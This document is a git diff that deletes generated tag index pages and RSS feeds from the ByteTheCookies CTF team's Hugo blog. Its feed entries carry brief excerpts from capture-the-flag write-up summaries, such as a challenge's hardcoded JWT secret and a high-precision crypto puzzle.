- - - diff --git a/public/tags/jwt-secret-leak/index.xml b/public/tags/jwt-secret-leak/index.xml deleted file mode 100644 index 3964f1dc..00000000 --- a/public/tags/jwt-secret-leak/index.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - Jwt Secret Leak on ByteTheCookies - http://localhost:1313/tags/jwt-secret-leak/ - Recent content in Jwt Secret Leak on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:04 +0200 - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - \ No newline at end of file diff --git a/public/tags/jwt-secret-leak/page/1/index.html b/public/tags/jwt-secret-leak/page/1/index.html deleted file mode 100644 index c39fef2d..00000000 --- a/public/tags/jwt-secret-leak/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/jwt-secret-leak/ - - - - - - diff --git a/public/tags/k1ndasus/index.html b/public/tags/k1ndasus/index.html deleted file mode 100644 index 6fb42312..00000000 --- a/public/tags/k1ndasus/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - K1ndasus - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

K1ndasus

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/k1ndasus/index.xml b/public/tags/k1ndasus/index.xml deleted file mode 100644 index 79a21b5d..00000000 --- a/public/tags/k1ndasus/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - K1ndasus on ByteTheCookies - http://localhost:1313/tags/k1ndasus/ - Recent content in K1ndasus on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 24 Mar 2025 12:58:37 +0200 - - K!nd4SUS CTF 2025 - http://localhost:1313/writeups/k1ndasus2025/ - Mon, 24 Mar 2025 12:58:37 +0200 - - http://localhost:1313/writeups/k1ndasus2025/ - K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! -Url Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack - - - - \ No newline at end of file diff --git a/public/tags/k1ndasus/page/1/index.html b/public/tags/k1ndasus/page/1/index.html deleted file mode 100644 index 5b498533..00000000 --- a/public/tags/k1ndasus/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/k1ndasus/ - - - - - - diff --git a/public/tags/kotlin/index.html b/public/tags/kotlin/index.html deleted file mode 100644 index da361a06..00000000 --- a/public/tags/kotlin/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Kotlin - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Kotlin

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/kotlin/index.xml b/public/tags/kotlin/index.xml deleted file mode 100644 index f2236178..00000000 --- a/public/tags/kotlin/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Kotlin on ByteTheCookies - http://localhost:1313/tags/kotlin/ - Recent content in Kotlin on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:51:39 +0100 - - DroidCryptor - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/kotlin/page/1/index.html b/public/tags/kotlin/page/1/index.html deleted file mode 100644 index 1bd59d9d..00000000 --- a/public/tags/kotlin/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/kotlin/ - - - - - - diff --git a/public/tags/language/index.html b/public/tags/language/index.html deleted file mode 100644 index 284a49fa..00000000 --- a/public/tags/language/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Language - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Language

- - - -
- - -
-

2025

- -
    - -
  • - - - - 07/08 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/language/index.xml b/public/tags/language/index.xml deleted file mode 100644 index a9f08cd7..00000000 --- a/public/tags/language/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Language on ByteTheCookies - http://localhost:1313/tags/language/ - Recent content in Language on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:14 +0200 - - - http://localhost:1313/writeups/namectf/namechallange/ - Tue, 08 Jul 2025 20:33:14 +0200 - - http://localhost:1313/writeups/namectf/namechallange/ - Namechallange Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/language/page/1/index.html b/public/tags/language/page/1/index.html deleted file mode 100644 index 6c65d26b..00000000 --- a/public/tags/language/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/language/ - - - - - - diff --git a/public/tags/leaked-secret/index.html b/public/tags/leaked-secret/index.html deleted file mode 100644 index b733dc0a..00000000 --- a/public/tags/leaked-secret/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Leaked Secret - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Leaked Secret

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/leaked-secret/index.xml b/public/tags/leaked-secret/index.xml deleted file mode 100644 index f3db73f7..00000000 --- a/public/tags/leaked-secret/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Leaked Secret on ByteTheCookies - http://localhost:1313/tags/leaked-secret/ - Recent content in Leaked Secret on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:49:40 +0100 - - GoSecureIt - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. - - - - \ No newline at end of file diff --git a/public/tags/leaked-secret/page/1/index.html b/public/tags/leaked-secret/page/1/index.html deleted file mode 100644 index 4e69fa16..00000000 --- a/public/tags/leaked-secret/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/leaked-secret/ - - - - - - diff --git a/public/tags/litc/index.html b/public/tags/litc/index.html deleted file mode 100644 index b50bddff..00000000 --- a/public/tags/litc/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Litc - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Litc

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/litc/index.xml b/public/tags/litc/index.xml deleted file mode 100644 index e85e1094..00000000 --- a/public/tags/litc/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Litc on ByteTheCookies - http://localhost:1313/tags/litc/ - Recent content in Litc on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 13 Aug 2024 12:20:57 +0200 - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - \ No newline at end of file diff --git a/public/tags/litc/page/1/index.html b/public/tags/litc/page/1/index.html deleted file mode 100644 index 45802eb6..00000000 --- a/public/tags/litc/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/litc/ - - - - - - diff --git a/public/tags/meni/index.html b/public/tags/meni/index.html deleted file mode 100644 index b778975e..00000000 --- a/public/tags/meni/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Meni - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Meni

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/meni/index.xml b/public/tags/meni/index.xml deleted file mode 100644 index 6d534ca2..00000000 --- a/public/tags/meni/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Meni on ByteTheCookies - http://localhost:1313/tags/meni/ - Recent content in Meni on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:55:16 +0100 - - Locked Door - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/meni/page/1/index.html b/public/tags/meni/page/1/index.html deleted file mode 100644 index fdfcded3..00000000 --- a/public/tags/meni/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/meni/ - - - - - - diff --git a/public/tags/misc/index.html b/public/tags/misc/index.html deleted file mode 100644 index 665cd22f..00000000 --- a/public/tags/misc/index.html +++ /dev/null @@ -1,339 +0,0 @@ - - - - - - - - - - - Misc - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Misc

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/misc/index.xml b/public/tags/misc/index.xml deleted file mode 100644 index d806c2d1..00000000 --- a/public/tags/misc/index.xml +++ /dev/null @@ -1,127 +0,0 @@ - - - - Misc on ByteTheCookies - http://localhost:1313/tags/misc/ - Recent content in Misc on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 29 Jul 2025 09:09:33 +0200 - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - m0leCon 2025 Beginner CTF - http://localhost:1313/writeups/m0lecon2025beginner/ - Sun, 22 Dec 2024 22:11:36 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/ - m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace - - - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - WaaS - http://localhost:1313/writeups/noobzctf2024/waas/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/waas/ - Waas Description: Writing as a Service! -Introduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it. -import subprocess from base64 import b64decode as d while True: print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;) try: inp = int(input(&quot;Choice: &quot;).strip()) except: print(&quot;Invalid input!&quot;) exit(0) if inp == 1: file = input(&quot;Enter file name: &quot;). - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - \ No newline at end of file diff --git a/public/tags/misc/page/1/index.html b/public/tags/misc/page/1/index.html deleted file mode 100644 index 601184c6..00000000 --- a/public/tags/misc/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/misc/ - - - - - - diff --git a/public/tags/misc/page/2/index.html b/public/tags/misc/page/2/index.html deleted file mode 100644 index 012120dd..00000000 --- a/public/tags/misc/page/2/index.html +++ /dev/null @@ -1,332 +0,0 @@ - - - - - - - - - - - Misc - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Misc

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/misc/page/3/index.html b/public/tags/misc/page/3/index.html deleted file mode 100644 index 1bc4913a..00000000 --- a/public/tags/misc/page/3/index.html +++ /dev/null @@ -1,296 +0,0 @@ - - - - - - - - - - - Misc - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Misc

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/mobile/index.html b/public/tags/mobile/index.html deleted file mode 100644 index 06b995ca..00000000 --- a/public/tags/mobile/index.html +++ /dev/null @@ -1,289 +0,0 @@ - - - - - - - - - - - Mobile - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Mobile

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/mobile/index.xml b/public/tags/mobile/index.xml deleted file mode 100644 index cee9fa1d..00000000 --- a/public/tags/mobile/index.xml +++ /dev/null @@ -1,31 +0,0 @@ - - - - Mobile on ByteTheCookies - http://localhost:1313/tags/mobile/ - Recent content in Mobile on ByteTheCookies - Hugo -- gohugo.io - en - Thu, 17 Jul 2025 17:51:20 +0200 - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/crackme/ - Crack Me Description: Developed for SekaiCTF 2022 but never got a chance to release it. Can you log in and claim the flag? -Introduction First rev ctf of Sekai 2024 with an apk attached, so we have a mobile challenge on our hands. The first thing to do (which I strongly advise against in a real environment) is to download and install the app to get a quick overview of what it does. - - - - \ No newline at end of file diff --git a/public/tags/mobile/page/1/index.html b/public/tags/mobile/page/1/index.html deleted file mode 100644 index 91dfc176..00000000 --- a/public/tags/mobile/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/mobile/ - - - - - - diff --git a/public/tags/n-points/index.html b/public/tags/n-points/index.html deleted file mode 100644 index 46d7fa9d..00000000 --- a/public/tags/n-points/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - N Points - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

N Points

- - - -
- - -
-

2025

- -
    - -
  • - - - - 07/08 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/n-points/index.xml b/public/tags/n-points/index.xml deleted file mode 100644 index 49d24a9d..00000000 --- a/public/tags/n-points/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - N Points on ByteTheCookies - http://localhost:1313/tags/n-points/ - Recent content in N Points on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:14 +0200 - - - http://localhost:1313/writeups/namectf/namechallange/ - Tue, 08 Jul 2025 20:33:14 +0200 - - http://localhost:1313/writeups/namectf/namechallange/ - Namechallange Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/n-points/page/1/index.html b/public/tags/n-points/page/1/index.html deleted file mode 100644 index b4eb3b6b..00000000 --- a/public/tags/n-points/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/n-points/ - - - - - - diff --git a/public/tags/n-solves/index.html b/public/tags/n-solves/index.html deleted file mode 100644 index c05861da..00000000 --- a/public/tags/n-solves/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - N Solves - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

N Solves

- - - -
- - -
-

2025

- -
    - -
  • - - - - 07/08 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/n-solves/index.xml b/public/tags/n-solves/index.xml deleted file mode 100644 index cfbe299f..00000000 --- a/public/tags/n-solves/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - N Solves on ByteTheCookies - http://localhost:1313/tags/n-solves/ - Recent content in N Solves on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:14 +0200 - - - http://localhost:1313/writeups/namectf/namechallange/ - Tue, 08 Jul 2025 20:33:14 +0200 - - http://localhost:1313/writeups/namectf/namechallange/ - Namechallange Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/n-solves/page/1/index.html b/public/tags/n-solves/page/1/index.html deleted file mode 100644 index b9738802..00000000 --- a/public/tags/n-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/n-solves/ - - - - - - diff --git a/public/tags/n00bz/index.html b/public/tags/n00bz/index.html deleted file mode 100644 index 6a4355c1..00000000 --- a/public/tags/n00bz/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - N00bz - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

N00bz

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/n00bz/index.xml b/public/tags/n00bz/index.xml deleted file mode 100644 index aedb69b8..00000000 --- a/public/tags/n00bz/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - N00bz on ByteTheCookies - http://localhost:1313/tags/n00bz/ - Recent content in N00bz on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 05 Aug 2024 18:26:54 +0200 - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - \ No newline at end of file diff --git a/public/tags/n00bz/page/1/index.html b/public/tags/n00bz/page/1/index.html deleted file mode 100644 index e525e155..00000000 --- a/public/tags/n00bz/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/n00bz/ - - - - - - diff --git a/public/tags/ndr/index.html b/public/tags/ndr/index.html deleted file mode 100644 index 7e7fa650..00000000 --- a/public/tags/ndr/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Ndr - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Ndr

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/ndr/index.xml b/public/tags/ndr/index.xml deleted file mode 100644 index b14c5f8a..00000000 --- a/public/tags/ndr/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Ndr on ByteTheCookies - http://localhost:1313/tags/ndr/ - Recent content in Ndr on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:58:30 +0200 - - trendy windy trigonity - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Mon, 02 Sep 2024 10:58:30 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendy_windy_trigonity/ - Trendy windy trigonity Description: have you seen Tan challenge before? see maple version pi documentation! -Introduction trendy windy trigonity was a crypto CTF CyberSpace CTF 2024 added during the second wave. -from Crypto.Util.number import bytes_to_long flag = REDACTED print(len(flag)) R = RealField(1000) a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:]) x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100) enc = a*cos(x)+b*sin(x) # 38 # 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45 The challenge uses sagemath to handle high precision floating point numbers, in this case a RealField with 1000 bits of precision. - - - - \ No newline at end of file diff --git a/public/tags/ndr/page/1/index.html 